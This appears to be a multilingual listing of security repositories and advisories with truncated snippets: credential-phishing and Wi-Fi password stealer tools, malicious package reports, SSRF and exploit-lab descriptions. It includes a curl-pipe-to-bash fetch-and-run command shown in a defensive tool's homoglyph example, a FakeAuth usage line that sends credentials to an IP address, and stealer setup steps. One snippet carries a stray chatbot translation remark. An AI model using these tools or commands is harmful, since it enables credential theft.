FakeAuth

FakeAuth FakeAuth는 사용자 자격 증명을 요청하고 HTTP 프로토콜을 통해 이를 유출하는 도구입니다. 다음 프로젝트에서 영감을 받았습니다. 1. hlldz's PICKL3 https://github.com/hlldz/pickl3 더러운 코드와 몇 가지 버그가 있을 수 있습니다 ; 설치 특별한 요구 사항 없음 사용법 v1.01 Usage: FakeAuth.exe Example: FakeAuth.exe 1 1 1 10 windowtitle entercreds 10.0.0.0:80\n hide integer - Hide...

tirith

tirith 브라우저라면 막아줄 텐데. 터미널은 그러지 않는다. 웹사이트 | 문서 | SKILL.md | 변경 이력 | 릴리스 독립 오픈소스 프로젝트이며, 호스팅은 Vercel 오픈소스 프로그램2026년 봄 코호트의 지원을 받습니다. 차이점을 찾을 수 있겠는가? curl -sSL https://install.example-cli.dev | bash safe curl -sSL https://іnstall.example-clі.dev | bash compromised 당신은 알 수 없습니다. 당신의 터미널도 마찬가지입니다. 두 і...

TeamFiltration

TeamFiltration TeamFiltration은 O365 EntraID 계정을 열거, 스프레이, 유출, 백도어링하기 위한 크로스 플랫폼 프레임워크입니다. TeamFiltration의 작동 방식에 대한 소개는 TeamFiltration 위키 페이지를, 시작 방법은 Quick Start Guide를 참조하십시오! 이 도구는 2021년 1월부터 TrustedSec에서 내부적으로 사용되었으며, DefCON30에서 제 발표 Taking a Dump In The Cloud에서 공개적으로 출시되었습니다. 다운로드 Linux,...

agent-vault

HTTP 인증 정보 프록시 및 볼트 Infisical이 제공하는 오픈소스 인증 정보 브로커로, 에이전트와 이들이 호출하는 API 사이에 위치합니다. 에이전트는 자격 증명을 보유해서는 안 됩니다. Agent Vault는 브로커된 접근을 통해 자격 증명 유출 위험을 제거합니다. 처음 오셨나요?런치 블로그 게시물에 Agent Vault의 전체 스토리가 있습니다. 문서 | 설치 | 튜토리얼 | 비디오 데모 | Slack 왜 Agent Vault인가 전통적인 시크릿 관리에서는 자격 증명을 다시 애플리케이션과 서비스로 반환합니다. 이는...

WifiPassword-Stealer

WifiPassword-Stealer 대상 컴퓨터에서 등록된 모든 Wi-Fi 비밀번호를 가져옵니다. 설치 파이썬 파일을 사용하는 경우 pip install smtplib pip install subprocess pip install glob 사용법 •임시 메일을 사용하여 "https://mailtrap.io/"에 계정을 만드세요. •'main.py'에 자신의 SMTP USERNAME과 SMTP PASSWORD를 설정하세요. •다음 명령어로 EXE를 생성하세요". python setup.py build 'build' 폴더를 대상...

Malicious code in dedh-devops-automation (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 e623272b4de65cc8af24a44d5405d9f6baa2c42896b50f9b7e0e5f294bfd2722 During installation, the package deploys a rogue AWS Lambda function to collect credentials from Secret Manager as well as collect other data. Data are then...

metasploitable2-exploitation-metasploit

Exploiting Metasploitable2 with Metasploit: VSFTPD, Samba, and More Metasploit Framework を用いた実践的な攻略手順 — PostgreSQL データベースのセットアップ、dbnmap スキャン、vsftpd・Samba・UnrealIRCd による 3 つの root シェル、Netcat を使った認証情報の流出までを解説します。 概要 このリポジトリは、隔離された VirtualBox ラボ内の Metasploitable2 に対する Metasploit...

EXPLOIT-CVE-2026-33634

CVE-2026-33634 — LiteLLM サプライチェーン + apibase における SSRF PoC / ラボ ⚠️ 意図的に脆弱なラボであり、教育および許可された用途向けです。 自分のマシン上で、このリポジトリのコンテナに対してのみ実行してください。 開始前に SECURITY-NOTES.md をお読みください。 🚫 このラボをクラウド VM や共有マシン上で絶対に実行しないでください。 このゲートウェイは意図的に無制限の SSRF を持っています。実際の IMDS 169.254.169.254 や loopback/LAN 上の機密サービスが存在する場合、SSRF は...

openSUSE 16: helm / helm-bash-completion / helm-fish-completion / etc (openSUSE-SU-2026:21983-1)

The remote openSUSE 16 host has packages installed that are affected by multiple vulnerabilities as referenced in the openSUSE-SU-2026:21983-1 advisory. - CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGSMAXFRAMESIZE bsc1265758. - CVE-2026-35204:...

LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters

ImpactAny authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy's request-body validation was a denylist that did not cover every sensitive paramete...

Rocky Linux 8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2025_0845)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20250845 advisory. git-lfs: Git LFS permits exfiltration of credentials via crafted HTTP URLs CVE-2024-53263 Tenable has extracted the preceding description block directly from the CI...

Rocky Linux 9 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2025_0673)

The Rocky Linux 9 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20250673 advisory. git-lfs: Git LFS permits exfiltration of credentials via crafted HTTP URLs CVE-2024-53263 Tenable has extracted the preceding description block directly from the CI...

Rocky Linux 9 [CIQ] Security Update: git / git-all / git-core / git-core-debuginfo / git-core-doc / etc Multiple Vulnerabilities (crlsa-2025_11462)

The Rocky Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202511462 advisory. git: Git does not sanitize URLs when asking for credentials interactively CVE-2024-50349 git: Newline confusion in credential helpers can lead to credenti...

Rocky Linux 8 [CIQ] Security Update: git / git-all / git-core / git-core-debuginfo / git-core-doc / etc Multiple Vulnerabilities (crlsa-2025_11534)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202511534 advisory. git: Git does not sanitize URLs when asking for credentials interactively CVE-2024-50349 git: Newline confusion in credential helpers can lead to credenti...

LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters

Impact Any authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy's request-body validation was a denylist that did not cover every sensitive paramet...

GHSA-3CV6-JPF6-8222 LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters

Impact Any authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy's request-body validation was a denylist that did not cover every sensitive paramet...

THM---CVE-2024-21413-Moniker-Link-Microsoft-Outlook-

THM---CVE-2024-21413-Moniker-Link-Microsoft-Outlook- 2024년 2월 13일, Microsoft는 Microsoft Outlook에서 심각한 보안 취약점을 공개했습니다. 이 취약점은 CVE-2024-21413로 식별되며 Moniker Link Vulnerability로 알려져 있습니다. 이 취약점은 공격자가 Outlook의 Protected View 메커니즘을 우회할 수 있게 합니다. 훌륭합니다 👍 다음은 전체 번역 + 침투 테스트PT 보고서 작성 이며, 전문적이고 명확한 히브리어로...

Malicious code in @hrmony/middlewares (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2129e9ecca729ffb0ac23ee07dd5be18f2a853560899599981bc92b19dda4363 On module load, the package queries the AWS instance metadata service at 169.254.169.254 IMDSv2 to enumerate instance identity, region, and network...

Malicious code in @hrmony/pladddform-partner-registry (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e09dd7e6a7777c82ec319c374c862db40d6bf7210991dac9a7a250fda4a259e7 On import, index.js executes a top-level fetch that harvests cloud and container secrets from the installer host and POSTs them to the hardcoded...

CVE-2023-7231

CVE-2023-7231 – Audible fetchResource를 통한 치명적인 SSRF → Memcached/Docker RCE 체인 🔥 개요 이 취약점은 .audible.com의 Audible fetchResource API에서 서버 측 요청 위조SSRF 를 가능하게 하여, 인증되지 않은 공격자가 내부 인프라로 피벗할 수 있도록 합니다. SSRF 페이로드 체이닝을 통해 다음을 달성했습니다: 🛡 AWS EC2 메타데이터 접근 🐳 127.0.0.1:2375의 Docker 소켓 탐색 🔐 /env,...